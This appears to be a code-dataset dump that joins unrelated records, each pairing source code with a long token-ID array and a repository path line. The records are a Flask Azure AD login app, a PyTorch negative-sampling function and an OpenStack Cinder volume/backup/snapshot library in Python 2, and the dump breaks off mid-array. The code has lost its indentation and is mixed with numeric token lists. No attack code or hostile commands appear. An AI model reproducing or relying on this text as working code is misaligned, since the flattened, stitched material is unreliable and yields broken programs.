def unauthorized_handler():
from flask import redirect, request, url_for
return redirect(url_for('login', request_uri=request.path))
@app.before_request
def redirect_https():
from flask import redirect, request
if 'X-Arr-Ssl' not in request.headers and not app.config['is_local_server']:
redirect_url = request.url.replace('http', 'https')
return redirect(redirect_url)
@app.route('/', methods=['GET'])
def index():
from flask import render_template
byline = 'Morocco - An automation service runs on Azure Batch.\n'
return render_template('index.html', byline=byline, title='Azure CLI')
@app.route('/login', methods=['GET'])
def login():
"""Redirect user agent to Azure AD sign-in page"""
import morocco.auth
return morocco.auth.openid_login()
@app.route('/signin-callback', methods=['POST'])
def signin_callback():
"""Redirect from AAD sign in page"""
def get_or_add_user(user_id: str):
from .application import db
from .models import DbUser
user = DbUser.query.filter_by(id=user_id).first()
if not user:
user = DbUser(user_id)
db.session.add(user)
db.session.commit()
return user
import morocco.auth
return morocco.auth.openid_callback(get_or_add_user)
@app.route('/logout', methods=['POST'])
def logout():
"""Logout from both this application as well as Azure OpenID sign in."""
import morocco.auth
return morocco.auth.openid_logout()
| [
1,
1053,
29784,
29918,
7507,
13,
3166,
869,
6214,
1053,
623,
13,
3166,
869,
9794,
1053,
24331,
2659,
13,
13,
7507,
29918,
12847,
353,
29784,
29918,
7507,
29889,
11049,
3260,
580,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
20965,
29899,
978,
13,
7507,
29918,
12847,
29889,
2344,
29918,
932,
29898,
932,
29897,
13,
7507,
29918,
12847,
29889,
1792,
29918,
12657,
29898,
2892,
1404,
29918,
333,
29901,
24331,
2659,
29889,
1972,
29889,
4572,
29918,
1609,
29898,
333,
29922,
1792,
29918,
333,
467,
4102,
3101,
13,
7507,
29918,
12403,
353,
29784,
29918,
7507,
29889,
7507,
29918,
12403,
13,
13,
13,
29992,
7507,
29918,
12847,
29889,
348,
8921,
1891,
29918,
13789,
13,
1753,
1185,
329,
2015,
1891,
29918,
13789,
7295,
13,
1678,
515,
29784,
1053,
6684,
29892,
2009,
29892,
3142,
29918,
1454,
13,
13,
1678,
736,
6684,
29898,
2271,
29918,
1454,
877,
7507,
742,
2009,
29918,
5338,
29922,
3827,
29889,
2084,
876,
13,
13,
13,
29992,
932,
29889,
11083,
29918,
3827,
13,
1753,
6684,
29918,
991,
7295,
13,
1678,
515,
29784,
1053,
6684,
29892,
2009,
13,
13,
1678,
565,
525,
29990,
29899,
16401,
29899,
29903,
2536,
29915,
451,
297,
2009,
29889,
13662,
322,
451,
623,
29889,
2917,
1839,
275,
29918,
2997,
29918,
2974,
2033,
29901,
13,
4706,
6684,
29918,
2271,
353,
2009,
29889,
2271,
29889,
6506,
877,
1124,
742,
525,
991,
1495,
13,
4706,
736,
6684,
29898,
17886,
29918,
2271,
29897,
13,
13,
13,
29992,
932,
29889,
13134,
11219,
742,
3519,
29922,
1839,
7194,
11287,
13,
1753,
2380,
7295,
13,
1678,
515,
29784,
1053,
4050,
29918,
6886,
13,
13,
1678,
491,
1220,
353,
525,
28581,
542,
1111,
448,
530,
3345,
362,
2669,
6057,
373,
12634,
350,
905,
7790,
29876,
29915,
13,
1678,
736,
4050,
29918,
6886,
877,
2248,
29889,
1420,
742,
491,
1220,
29922,
1609,
1220,
29892,
3611,
2433,
28413,
24492,
1495,
13,
13,
13,
29992,
932,
29889,
13134,
11219,
7507,
742,
3519,
29922,
1839,
7194,
11287,
13,
1753,
6464,
7295,
13,
1678,
9995,
24735,
1404,
10823,
304,
12634,
11033,
1804,
29899,
262,
1813,
15945,
29908,
13,
1678,
1053,
3036,
542,
1111,
29889,
5150,
13,
1678,
736,
3036,
542,
1111,
29889,
5150,
29889,
3150,
333,
29918,
7507,
580,
13,
13,
13,
29992,
932,
29889,
13134,
11219,
4530,
262,
29899,
14035,
742,
3519,
29922,
1839,
5438,
11287,
13,
1753,
1804,
262,
29918,
14035,
7295,
13,
1678,
9995,
24735,
515,
319,
3035,
1804,
297,
1813,
15945,
29908,
13,
13,
1678,
822,
679,
29918,
272,
29918,
1202,
29918,
1792,
29898,
1792,
29918,
333,
29901,
851,
1125,
13,
4706,
515,
869,
6214,
1053,
4833,
13,
4706,
515,
869,
9794,
1053,
24331,
2659,
13,
13,
4706,
1404,
353,
24331,
2659,
29889,
1972,
29889,
4572,
29918,
1609,
29898,
333,
29922,
1792,
29918,
333,
467,
4102,
580,
13,
4706,
565,
451,
1404,
29901,
13,
9651,
1404,
353,
24331,
2659,
29898,
1792,
29918,
333,
29897,
13,
9651,
4833,
29889,
7924,
29889,
1202,
29898,
1792,
29897,
13,
9651,
4833,
29889,
7924,
29889,
15060,
580,
13,
13,
4706,
736,
1404,
13,
13,
1678,
1053,
3036,
542,
1111,
29889,
5150,
13,
1678,
736,
3036,
542,
1111,
29889,
5150,
29889,
3150,
333,
29918,
14035,
29898,
657,
29918,
272,
29918,
1202,
29918,
1792,
29897,
13,
13,
13,
29992,
932,
29889,
13134,
11219,
1188,
449,
742,
3519,
29922,
1839,
5438,
11287,
13,
1753,
1480,
449,
7295,
13,
1678,
9995,
3403,
449,
515,
1716,
445,
2280,
408,
1532,
408,
12634,
4673,
1367,
1804,
297,
1213,
15945,
13,
1678,
1053,
3036,
542,
1111,
29889,
5150,
13,
1678,
736,
3036,
542,
1111,
29889,
5150,
29889,
3150,
333,
29918,
1188,
449,
580,
13,
13,
2
] |
benchmark/citation/trainable/cold_start_recall100/negative_sampling.py | snubeaver/pytorch_geo | 2 | 69846 | import random
import torch
import numpy as np
from torch_geometric.utils import degree, to_undirected
def negative_sampling(edge_index, num_nodes=None, num_neg_samples=None,
force_undirected=False):
num_neg_samples = num_neg_samples or edge_index.size(1)
# Handle '|V|^2 - |E| < |E|' case for G = (V, E).
num_neg_samples = min(num_neg_samples,
num_nodes * num_nodes - edge_index.size(1))
rng = range(num_nodes**2)
# idx = N * i + j
idx = (edge_index[0] * num_nodes + edge_index[1]).to('cpu')
perm = torch.tensor(random.sample(rng, num_neg_samples))
# pos edge면 true 처리
mask = torch.from_numpy(np.isin(perm, idx)).to(torch.bool)
rest = mask.nonzero().view(-1)
while rest.numel() > 0: # pragma: no cover
tmp = torch.tensor(random.sample(rng, rest.size(0)))
mask = torch.from_numpy(np.isin(tmp, idx)).to(torch.bool)
perm[rest] = tmp
rest = rest[mask.nonzero().view(-1)]
row = perm / num_nodes
col = perm % num_nodes
neg_edge_index = torch.stack([row, col], dim=0).long()
return neg_edge_index.to(edge_index.device)
| [
1,
1053,
4036,
13,
13,
5215,
4842,
305,
13,
5215,
12655,
408,
7442,
13,
3166,
4842,
305,
29918,
479,
14066,
29889,
13239,
1053,
7426,
29892,
304,
29918,
870,
1088,
287,
13,
13,
13,
13,
1753,
8178,
29918,
13445,
10335,
29898,
12864,
29918,
2248,
29892,
954,
29918,
18010,
29922,
8516,
29892,
954,
29918,
10052,
29918,
27736,
29922,
8516,
29892,
13,
462,
418,
4889,
29918,
870,
1088,
287,
29922,
8824,
1125,
13,
13,
1678,
954,
29918,
10052,
29918,
27736,
353,
954,
29918,
10052,
29918,
27736,
470,
7636,
29918,
2248,
29889,
2311,
29898,
29896,
29897,
13,
13,
1678,
396,
29273,
525,
29989,
29963,
15333,
29906,
448,
891,
29923,
29989,
529,
891,
29923,
29989,
29915,
1206,
363,
402,
353,
313,
29963,
29892,
382,
467,
13,
1678,
954,
29918,
10052,
29918,
27736,
353,
1375,
29898,
1949,
29918,
10052,
29918,
27736,
29892,
13,
462,
3986,
954,
29918,
18010,
334,
954,
29918,
18010,
448,
7636,
29918,
2248,
29889,
2311,
29898,
29896,
876,
13,
13,
13,
1678,
364,
865,
353,
3464,
29898,
1949,
29918,
18010,
1068,
29906,
29897,
13,
1678,
396,
22645,
353,
405,
334,
474,
718,
432,
13,
1678,
22645,
353,
313,
12864,
29918,
2248,
29961,
29900,
29962,
334,
954,
29918,
18010,
718,
7636,
29918,
2248,
29961,
29896,
14664,
517,
877,
21970,
1495,
13,
13,
1678,
3635,
353,
4842,
305,
29889,
20158,
29898,
8172,
29889,
11249,
29898,
29878,
865,
29892,
954,
29918,
10052,
29918,
27736,
876,
13,
1678,
396,
926,
7636,
31747,
1565,
29871,
239,
181,
155,
30826,
13,
1678,
11105,
353,
4842,
305,
29889,
3166,
29918,
23749,
29898,
9302,
29889,
275,
262,
29898,
17858,
29892,
22645,
8106,
517,
29898,
7345,
305,
29889,
11227,
29897,
13,
13,
1678,
1791,
353,
11105,
29889,
5464,
9171,
2141,
1493,
6278,
29896,
29897,
13,
1678,
1550,
1791,
29889,
1949,
295,
580,
1405,
29871,
29900,
29901,
29871,
396,
282,
23929,
29901,
694,
4612,
13,
4706,
13128,
353,
4842,
305,
29889,
20158,
29898,
8172,
29889,
11249,
29898,
29878,
865,
29892,
1791,
29889,
2311,
29898,
29900,
4961,
13,
4706,
11105,
353,
4842,
305,
29889,
3166,
29918,
23749,
29898,
9302,
29889,
275,
262,
29898,
7050,
29892,
22645,
8106,
517,
29898,
7345,
305,
29889,
11227,
29897,
13,
4706,
3635,
29961,
5060,
29962,
353,
13128,
13,
4706,
1791,
353,
1791,
29961,
13168,
29889,
5464,
9171,
2141,
1493,
6278,
29896,
4638,
13,
13,
13,
1678,
1948,
353,
3635,
847,
954,
29918,
18010,
13,
1678,
784,
353,
3635,
1273,
954,
29918,
18010,
13,
1678,
3480,
29918,
12864,
29918,
2248,
353,
4842,
305,
29889,
1429,
4197,
798,
29892,
784,
1402,
3964,
29922,
29900,
467,
5426,
580,
13,
13,
1678,
736,
3480,
29918,
12864,
29918,
2248,
29889,
517,
29898,
12864,
29918,
2248,
29889,
10141,
29897,
13,
13,
2
] |
openstack/regression/lib/cinder.py | rpratap-bot/ceph-qe-scripts | 0 | 105320 | import os
import cinderclient.exceptions as c_exceptions
from cinderclient.v2 import client as c_client
import log
class CinderReturnStack(object):
def __init__(self):
pass
class CinderAuth(object):
def __init__(self):
self.os_username = os.environ['OS_USERNAME']
self.os_api_key = os.environ['OS_PASSWORD']
self.os_auth_url = os.environ['OS_AUTH_URL']
self.os_tenant = os.environ['OS_TENANT_NAME']
def auth(self):
"""
:return:auth_stack
- auth_stack.cinder : cinder object after authenticating
- auth_stack.status : True or False
"""
auth_stack = CinderReturnStack()
log.info('in lib: auth')
try:
cinder = c_client.Client(auth_url=self.os_auth_url, username=self.os_username, api_key=self.os_api_key,
project_id=self.os_tenant, service_type='volumev2')
auth_stack.cinder, auth_stack.status = cinder, True
log.info('Cinder Auth successful')
except c_exceptions.AuthorizationFailure, e:
auth_stack.cinder, auth_stack.status = None, False
log.error('cinder auth failed')
log.error(e.message)
return auth_stack
class CinderVolumes(object):
def __init__(self, cinder_auth):
self.cinder = cinder_auth
def create_volume(self, name, size, image_id=None):
"""
:param name: string
:param size: int
:param image_id: int[optional]
:return volume_create
- volume_create.vol : volume object
- volume_create.status : True or False
"""
log.info("in lib: Create volume")
volume_create = CinderReturnStack()
try:
log.info('initialized volume creation')
volume = self.cinder.volumes.create(name=name, size=size, imageRef=image_id)
volume_create.vol, volume_create.status = volume, True
except c_exceptions.ClientException, e:
log.error(e)
volume_create.vol, volume_create.status = None, False
return volume_create
def list_volumes(self):
"""
:return volumes_list
- volumes_list.volumes : list of volumes object
- volumes_list.status : True or False
"""
volumes_list = CinderReturnStack()
volumes_list.volumes = []
try:
log.info("List cinder volumes")
volumes = self.cinder.volumes.list()
# will return volumes.size, volumes.name , volumes.id, volumes.status ...
volumes_list.status = True
if volumes:
volumes_list.volumes = volumes
except (c_exceptions.NotFound, c_exceptions.ClientException), e:
log.error(e)
volumes_list.status = False
return volumes_list
def get_volume(self, volume):
"""
:param volume: volume object
:return:each_volume
- each_volume.volume : volume object
- each_volume.status : True or False
"""
each_volume = CinderReturnStack()
each_volume.volume = None
try:
log.info("get cinder volume details")
volume = self.cinder.volumes.get(volume.id)
each_volume.volume = volume
each_volume.status = True
except (c_exceptions.NotFound, c_exceptions.ClientException), e:
log.error(e)
each_volume.status = False
return each_volume
def extend_volume(self, volume, new_size):
"""
:param volume:
:param new_size:
:return extend
- extend.execute : True or False
"""
extend = CinderReturnStack()
extend.execute = False
try:
self.cinder.volumes.extend(volume, new_size)
extend.execute = True
except c_exceptions.ClientException, e:
log.error(e)
return extend
def delete_volume(self, volume):
"""
:param volume: volume object
:return: volume_delete
- volume_delete.execute: True or False
"""
log.info('in lib of delete volume')
volume_delete = CinderReturnStack()
volume_delete.execute = False
try:
self.cinder.volumes.delete(volume)
volume_delete.execute = True
log.info('delete volume executed')
except (c_exceptions.NotFound, c_exceptions.ClientException), e:
log.error(e)
return volume_delete
class CinderBackup(object):
def __init__(self, cinder_auth):
self.cinder = cinder_auth
def create_backup(self, volume, incremental=False, name=None):
"""
:param volume: volume object
:param incremental: int
:param name: string
:return backup
- backup.volume_backup : volume backup object
- backup.status : True or False
"""
backup = CinderReturnStack()
backup.volume_backup = None
try:
volume_backup = self.cinder.backups.create(volume.id, name=name, incremental=incremental)
backup.volume_backup, backup.status = volume_backup, True
except c_exceptions.ClientException, e:
log.error(e)
backup.status = False
return backup
def get_backup(self, backup):
"""
:param backup: backup object
:return: get_back.back: backup object
get_back.status : True or False
"""
get_back = CinderReturnStack()
get_back.back = None
try:
backup = self.cinder.backups.get(backup)
get_back.back, get_back.status = backup, True
except c_exceptions.ClientException, e:
log.error(e)
get_back.status = False
return get_back
def list_backup(self):
"""
:return backups_list
- backups_list.backups : list of backup objects
- backups_list.status : True or False
"""
backups_list = CinderReturnStack()
backups_list.backups = []
try:
log.info("List cinder backup volumes")
backups = self.cinder.backups.list()
# will return backups class.
backups_list.status = True
if backups:
backups_list.backups = backups
except (c_exceptions.NotFound, c_exceptions.ClientException), e:
log.error(e)
backups_list.status = False
return backups_list
def restore_backup(self, backup, volume):
"""
:param backup: backup object
:param volume: volume object
:return: restore
- restore.restore.restore_dict: dic of backup id and volume id
- restore.execute: True or False
"""
restore = CinderReturnStack()
restore.execute = False
restore.restore_dict = None
try:
restore_dict = self.cinder.restores.restore(backup.id, volume.id)
restore.restore_dict = restore_dict
restore.execute = True
except (c_exceptions.NotFound, c_exceptions.ClientException), e:
log.error(e)
return restore
def delete_backup(self, backup):
"""
:param backup: object of the backup
:return: delete
- delete.execue: True or False
"""
delete = CinderReturnStack()
delete.execute = False
try:
self.cinder.backups.delete(backup)
delete.execute = True
except (c_exceptions.NotFound, c_exceptions.ClientException), e:
log.error(e)
return delete
class CinderSnapshot(object):
def __init__(self,cinder_auth):
self.cinder = cinder_auth
def create_snapshot(self, volume, snapshot_name):
"""
:param volume: object of the volume
:param snapshot_name: string, name for creating the snapshot
:return snapshot
- snapshot.volume_snapshot : object of the snapshot # rename to snapshot
- snapshot.status : True or False
"""
log.info('in lib: create snapshots')
snapshot = CinderReturnStack()
snapshot.volume_snapshot = None
ftype = False
if volume.status == "available":
ftype = False
elif volume.status == "in-use":
ftype = True
log.info('setting force type: %s' % ftype)
try:
volume_snapshot = self.cinder.volume_snapshots.create(volume.id, name=snapshot_name, force=ftype)
snapshot.volume_snapshot = volume_snapshot
snapshot.status = True
log.info('volume snapshot creation executed')
except c_exceptions.ClientException, e:
log.error(e)
snapshot.status = False
return snapshot
def list_snapshot(self):
"""
:return:snapshot_list
- snapshot_list.snapshots : lists of snapshot objects
- snapshot_list.status : True or False
"""
log.info('in lib of list snapshot')
snapshots_list = CinderReturnStack()
snapshots_list.snapshots = []
try:
snapshots = self.cinder.volume_snapshots.list()
# will return snapshot class.
snapshots_list.status = True
if snapshots:
log.info('got snapshots')
snapshots_list.snapshots = snapshots
log.error('got no snapshots')
except (c_exceptions.NotFound, c_exceptions.ClientException), e:
log.error(e)
snapshots_list.status = False
return snapshots_list
def delete_snapshot(self, snapshot):
"""
:param snapshot: object of the snapshot
:return:snapshot_delete
- snapshot_delete.execute: True or False
"""
log.info('in lib of delete snapshot')
snapshot_delete = CinderReturnStack()
snapshot_delete.execute = False
try:
self.cinder.volume_snapshots.delete(snapshot)
snapshot_delete.execute = True
log.info('delete snapshot executed')
except (c_exceptions.NotFound, c_exceptions.ClientException), e:
log.error(e)
return snapshot_delete
def get_snapshot(self, snapshot):
"""
:param snapshot: snapshot object
:return:each_snapshot
- each_snapshot.snapshot : snapshot object
- each_snapshot.status : True or False
"""
each_snap = CinderReturnStack()
each_snap.snapshot = None
try:
log.info("get snapshot details")
volume_snap = self.cinder.volume_snapshots.get(snapshot.id)
each_snap.snapshot = volume_snap
each_snap.status = True
except (c_exceptions.NotFound, c_exceptions.ClientException), e:
log.error(e)
each_snap.status = False
return each_snap
def create_vol_from_snap(self, snapshot, name, size):
"""
:param snapshot: object of the snapshot
:param size: int,
:param name: volume name: string
:return: snapshot_volume
- snapshot_volume.status: True or False
"""
log.info('in lib of create vol from snapshot')
snapshot_volume = CinderReturnStack()
snapshot_volume.volume = None
try:
volume = self.cinder.volumes.create(size=size, name=name, snapshot_id=snapshot)
snapshot_volume.status = True
snapshot_volume.volume = volume
log.info('snapshot volume created')
except c_exceptions.ClientException, e:
log.error(e)
snapshot_volume.status = False
return snapshot_volume
| [
1,
1053,
2897,
13,
5215,
274,
4995,
4645,
29889,
11739,
29879,
408,
274,
29918,
11739,
29879,
13,
3166,
274,
4995,
4645,
29889,
29894,
29906,
1053,
3132,
408,
274,
29918,
4645,
13,
5215,
1480,
13,
13,
13,
1990,
315,
4995,
11609,
7264,
29898,
3318,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1209,
13,
13,
13,
1990,
315,
4995,
6444,
29898,
3318,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
29889,
359,
29918,
6786,
353,
2897,
29889,
21813,
1839,
3267,
29918,
11889,
5813,
2033,
13,
4706,
1583,
29889,
359,
29918,
2754,
29918,
1989,
353,
2897,
29889,
21813,
1839,
3267,
29918,
25711,
17013,
2033,
13,
4706,
1583,
29889,
359,
29918,
5150,
29918,
2271,
353,
2897,
29889,
21813,
1839,
3267,
29918,
20656,
29950,
29918,
4219,
2033,
13,
4706,
1583,
29889,
359,
29918,
841,
424,
353,
2897,
29889,
21813,
1839,
3267,
29918,
29911,
1430,
13566,
29918,
5813,
2033,
13,
13,
1678,
822,
4817,
29898,
1311,
1125,
13,
13,
4706,
9995,
13,
13,
4706,
584,
2457,
29901,
5150,
29918,
1429,
13,
18884,
448,
4817,
29918,
1429,
29889,
29883,
4995,
584,
274,
4995,
1203,
1156,
15585,
1218,
13,
18884,
448,
4817,
29918,
1429,
29889,
4882,
584,
5852,
470,
7700,
13,
13,
4706,
9995,
13,
13,
4706,
4817,
29918,
1429,
353,
315,
4995,
11609,
7264,
580,
13,
13,
4706,
1480,
29889,
3888,
877,
262,
4303,
29901,
4817,
1495,
13,
13,
4706,
1018,
29901,
13,
9651,
274,
4995,
353,
274,
29918,
4645,
29889,
4032,
29898,
5150,
29918,
2271,
29922,
1311,
29889,
359,
29918,
5150,
29918,
2271,
29892,
8952,
29922,
1311,
29889,
359,
29918,
6786,
29892,
7882,
29918,
1989,
29922,
1311,
29889,
359,
29918,
2754,
29918,
1989,
29892,
13,
462,
462,
268,
2060,
29918,
333,
29922,
1311,
29889,
359,
29918,
841,
424,
29892,
2669,
29918,
1853,
2433,
24623,
29894,
29906,
1495,
13,
13,
9651,
4817,
29918,
1429,
29889,
29883,
4995,
29892,
4817,
29918,
1429,
29889,
4882,
353,
274,
4995,
29892,
5852,
13,
13,
9651,
1480,
29889,
3888,
877,
29907,
4995,
13189,
9150,
1495,
13,
13,
4706,
5174,
274,
29918,
11739,
29879,
29889,
25471,
24155,
29892,
321,
29901,
13,
9651,
4817,
29918,
1429,
29889,
29883,
4995,
29892,
4817,
29918,
1429,
29889,
4882,
353,
6213,
29892,
7700,
13,
9651,
1480,
29889,
2704,
877,
29883,
4995,
4817,
5229,
1495,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29889,
4906,
29897,
13,
13,
4706,
736,
4817,
29918,
1429,
13,
13,
13,
1990,
315,
4995,
13072,
9351,
29898,
3318,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
274,
4995,
29918,
5150,
1125,
13,
4706,
1583,
29889,
29883,
4995,
353,
274,
4995,
29918,
5150,
13,
13,
1678,
822,
1653,
29918,
24623,
29898,
1311,
29892,
1024,
29892,
2159,
29892,
1967,
29918,
333,
29922,
8516,
1125,
13,
13,
4706,
9995,
13,
4706,
584,
3207,
1024,
29901,
1347,
13,
4706,
584,
3207,
2159,
29901,
938,
13,
4706,
584,
3207,
1967,
29918,
333,
29901,
938,
29961,
25253,
29962,
13,
4706,
584,
2457,
7977,
29918,
3258,
13,
18884,
448,
7977,
29918,
3258,
29889,
1555,
268,
584,
7977,
1203,
13,
18884,
448,
7977,
29918,
3258,
29889,
4882,
29871,
584,
5852,
470,
7700,
13,
4706,
9995,
13,
13,
4706,
1480,
29889,
3888,
703,
262,
4303,
29901,
6204,
7977,
1159,
13,
13,
4706,
7977,
29918,
3258,
353,
315,
4995,
11609,
7264,
580,
13,
13,
4706,
1018,
29901,
13,
9651,
1480,
29889,
3888,
877,
11228,
1891,
7977,
11265,
1495,
13,
9651,
7977,
353,
1583,
29889,
29883,
4995,
29889,
1555,
9351,
29889,
3258,
29898,
978,
29922,
978,
29892,
2159,
29922,
2311,
29892,
1967,
5620,
29922,
3027,
29918,
333,
29897,
13,
9651,
7977,
29918,
3258,
29889,
1555,
29892,
7977,
29918,
3258,
29889,
4882,
353,
7977,
29892,
5852,
13,
13,
4706,
5174,
274,
29918,
11739,
29879,
29889,
4032,
2451,
29892,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
9651,
7977,
29918,
3258,
29889,
1555,
29892,
7977,
29918,
3258,
29889,
4882,
353,
6213,
29892,
7700,
13,
13,
4706,
736,
7977,
29918,
3258,
13,
13,
1678,
822,
1051,
29918,
1555,
9351,
29898,
1311,
1125,
13,
13,
4706,
9995,
13,
4706,
584,
2457,
18167,
29918,
1761,
13,
18884,
448,
18167,
29918,
1761,
29889,
1555,
9351,
584,
1051,
310,
18167,
1203,
13,
18884,
448,
18167,
29918,
1761,
29889,
4882,
29871,
584,
5852,
470,
7700,
13,
4706,
9995,
13,
13,
4706,
18167,
29918,
1761,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
18167,
29918,
1761,
29889,
1555,
9351,
353,
5159,
13,
4706,
1018,
29901,
13,
9651,
1480,
29889,
3888,
703,
1293,
274,
4995,
18167,
1159,
13,
9651,
18167,
353,
1583,
29889,
29883,
4995,
29889,
1555,
9351,
29889,
1761,
580,
13,
13,
9651,
396,
674,
736,
18167,
29889,
2311,
29892,
18167,
29889,
978,
1919,
18167,
29889,
333,
29892,
18167,
29889,
4882,
2023,
13,
13,
9651,
18167,
29918,
1761,
29889,
4882,
353,
5852,
13,
9651,
565,
18167,
29901,
13,
18884,
18167,
29918,
1761,
29889,
1555,
9351,
353,
18167,
13,
13,
4706,
5174,
313,
29883,
29918,
11739,
29879,
29889,
17413,
29892,
274,
29918,
11739,
29879,
29889,
4032,
2451,
511,
29871,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
9651,
18167,
29918,
1761,
29889,
4882,
353,
7700,
13,
13,
4706,
736,
18167,
29918,
1761,
13,
13,
1678,
822,
679,
29918,
24623,
29898,
1311,
29892,
7977,
1125,
13,
13,
4706,
9995,
13,
13,
4706,
584,
3207,
7977,
29901,
7977,
1203,
13,
4706,
584,
2457,
29901,
4204,
29918,
24623,
13,
18884,
448,
1269,
29918,
24623,
29889,
24623,
584,
7977,
1203,
13,
18884,
448,
1269,
29918,
24623,
29889,
4882,
584,
5852,
470,
7700,
13,
13,
4706,
9995,
13,
13,
4706,
1269,
29918,
24623,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
1269,
29918,
24623,
29889,
24623,
353,
6213,
13,
4706,
1018,
29901,
13,
9651,
1480,
29889,
3888,
703,
657,
274,
4995,
7977,
4902,
1159,
13,
9651,
7977,
353,
1583,
29889,
29883,
4995,
29889,
1555,
9351,
29889,
657,
29898,
24623,
29889,
333,
29897,
13,
9651,
1269,
29918,
24623,
29889,
24623,
353,
7977,
13,
9651,
1269,
29918,
24623,
29889,
4882,
353,
5852,
13,
13,
4706,
5174,
313,
29883,
29918,
11739,
29879,
29889,
17413,
29892,
274,
29918,
11739,
29879,
29889,
4032,
2451,
511,
29871,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
9651,
1269,
29918,
24623,
29889,
4882,
353,
7700,
13,
13,
4706,
736,
1269,
29918,
24623,
13,
13,
1678,
822,
10985,
29918,
24623,
29898,
1311,
29892,
7977,
29892,
716,
29918,
2311,
1125,
13,
13,
4706,
9995,
13,
4706,
584,
3207,
7977,
29901,
13,
4706,
584,
3207,
716,
29918,
2311,
29901,
13,
4706,
584,
2457,
10985,
13,
18884,
448,
10985,
29889,
7978,
584,
5852,
470,
7700,
13,
4706,
9995,
13,
13,
4706,
10985,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
10985,
29889,
7978,
353,
7700,
13,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
29883,
4995,
29889,
1555,
9351,
29889,
21843,
29898,
24623,
29892,
716,
29918,
2311,
29897,
13,
9651,
10985,
29889,
7978,
353,
5852,
13,
13,
4706,
5174,
274,
29918,
11739,
29879,
29889,
4032,
2451,
29892,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
13,
4706,
736,
10985,
13,
13,
1678,
822,
5217,
29918,
24623,
29898,
1311,
29892,
7977,
1125,
13,
13,
4706,
9995,
13,
13,
4706,
584,
3207,
7977,
29901,
7977,
1203,
13,
4706,
584,
2457,
29901,
7977,
29918,
8143,
13,
462,
448,
7977,
29918,
8143,
29889,
7978,
29901,
5852,
470,
7700,
13,
4706,
9995,
13,
13,
4706,
1480,
29889,
3888,
877,
262,
4303,
310,
5217,
7977,
1495,
13,
4706,
7977,
29918,
8143,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
7977,
29918,
8143,
29889,
7978,
353,
7700,
13,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
29883,
4995,
29889,
1555,
9351,
29889,
8143,
29898,
24623,
29897,
13,
9651,
7977,
29918,
8143,
29889,
7978,
353,
5852,
13,
9651,
1480,
29889,
3888,
877,
8143,
7977,
8283,
1495,
13,
4706,
5174,
313,
29883,
29918,
11739,
29879,
29889,
17413,
29892,
274,
29918,
11739,
29879,
29889,
4032,
2451,
511,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
13,
4706,
736,
7977,
29918,
8143,
13,
13,
13,
1990,
315,
4995,
5841,
786,
29898,
3318,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
274,
4995,
29918,
5150,
1125,
13,
4706,
1583,
29889,
29883,
4995,
353,
274,
4995,
29918,
5150,
13,
13,
1678,
822,
1653,
29918,
1627,
786,
29898,
1311,
29892,
7977,
29892,
11924,
284,
29922,
8824,
29892,
1024,
29922,
8516,
1125,
13,
13,
4706,
9995,
13,
4706,
584,
3207,
7977,
29901,
7977,
1203,
13,
4706,
584,
3207,
11924,
284,
29901,
938,
13,
4706,
584,
3207,
1024,
29901,
1347,
13,
4706,
584,
2457,
16199,
13,
18884,
448,
16199,
29889,
24623,
29918,
1627,
786,
584,
7977,
16199,
1203,
13,
18884,
448,
16199,
29889,
4882,
4706,
584,
5852,
470,
7700,
13,
4706,
9995,
13,
13,
4706,
16199,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
16199,
29889,
24623,
29918,
1627,
786,
353,
6213,
13,
4706,
1018,
29901,
13,
9651,
7977,
29918,
1627,
786,
353,
1583,
29889,
29883,
4995,
29889,
1627,
14340,
29889,
3258,
29898,
24623,
29889,
333,
29892,
1024,
29922,
978,
29892,
11924,
284,
29922,
25629,
284,
29897,
13,
9651,
16199,
29889,
24623,
29918,
1627,
786,
29892,
16199,
29889,
4882,
353,
7977,
29918,
1627,
786,
29892,
5852,
13,
13,
4706,
5174,
274,
29918,
11739,
29879,
29889,
4032,
2451,
29892,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
9651,
16199,
29889,
4882,
353,
7700,
13,
13,
4706,
736,
16199,
13,
13,
1678,
822,
679,
29918,
1627,
786,
29898,
1311,
29892,
16199,
1125,
13,
13,
4706,
9995,
13,
13,
4706,
584,
3207,
16199,
29901,
16199,
1203,
13,
4706,
584,
2457,
29901,
29871,
679,
29918,
1627,
29889,
1627,
29901,
16199,
1203,
13,
18884,
679,
29918,
1627,
29889,
4882,
584,
5852,
470,
7700,
13,
4706,
9995,
13,
13,
4706,
679,
29918,
1627,
353,
315,
4995,
11609,
7264,
580,
13,
4706,
679,
29918,
1627,
29889,
1627,
353,
6213,
13,
4706,
1018,
29901,
13,
9651,
16199,
353,
1583,
29889,
29883,
4995,
29889,
1627,
14340,
29889,
657,
29898,
1627,
786,
29897,
13,
9651,
679,
29918,
1627,
29889,
1627,
29892,
679,
29918,
1627,
29889,
4882,
353,
16199,
29892,
5852,
13,
13,
4706,
5174,
274,
29918,
11739,
29879,
29889,
4032,
2451,
29892,
321,
29901,
13,
9651,
1480,
29889,
2704,
29898,
29872,
29897,
13,
9651,
679,
29918,
1627,
29889,
4882,
353,
7700,
13,
13,
4706,
736,
679,
29918,
1627,
13,
13,
1678,
822,
1051,
29918,
1627,
786,
29898,
1311,
1125,
13,
13,
4706,
9995,
13,
4706,
584,
2457,
1250,
14340,
29918,
1761,
13,
18884,
448,
1250,
14340,
29918,
1761,
29889,
1627,
14340,
584,
1051,
310,
16199,
3618,
13,
18884,
448,
1250,
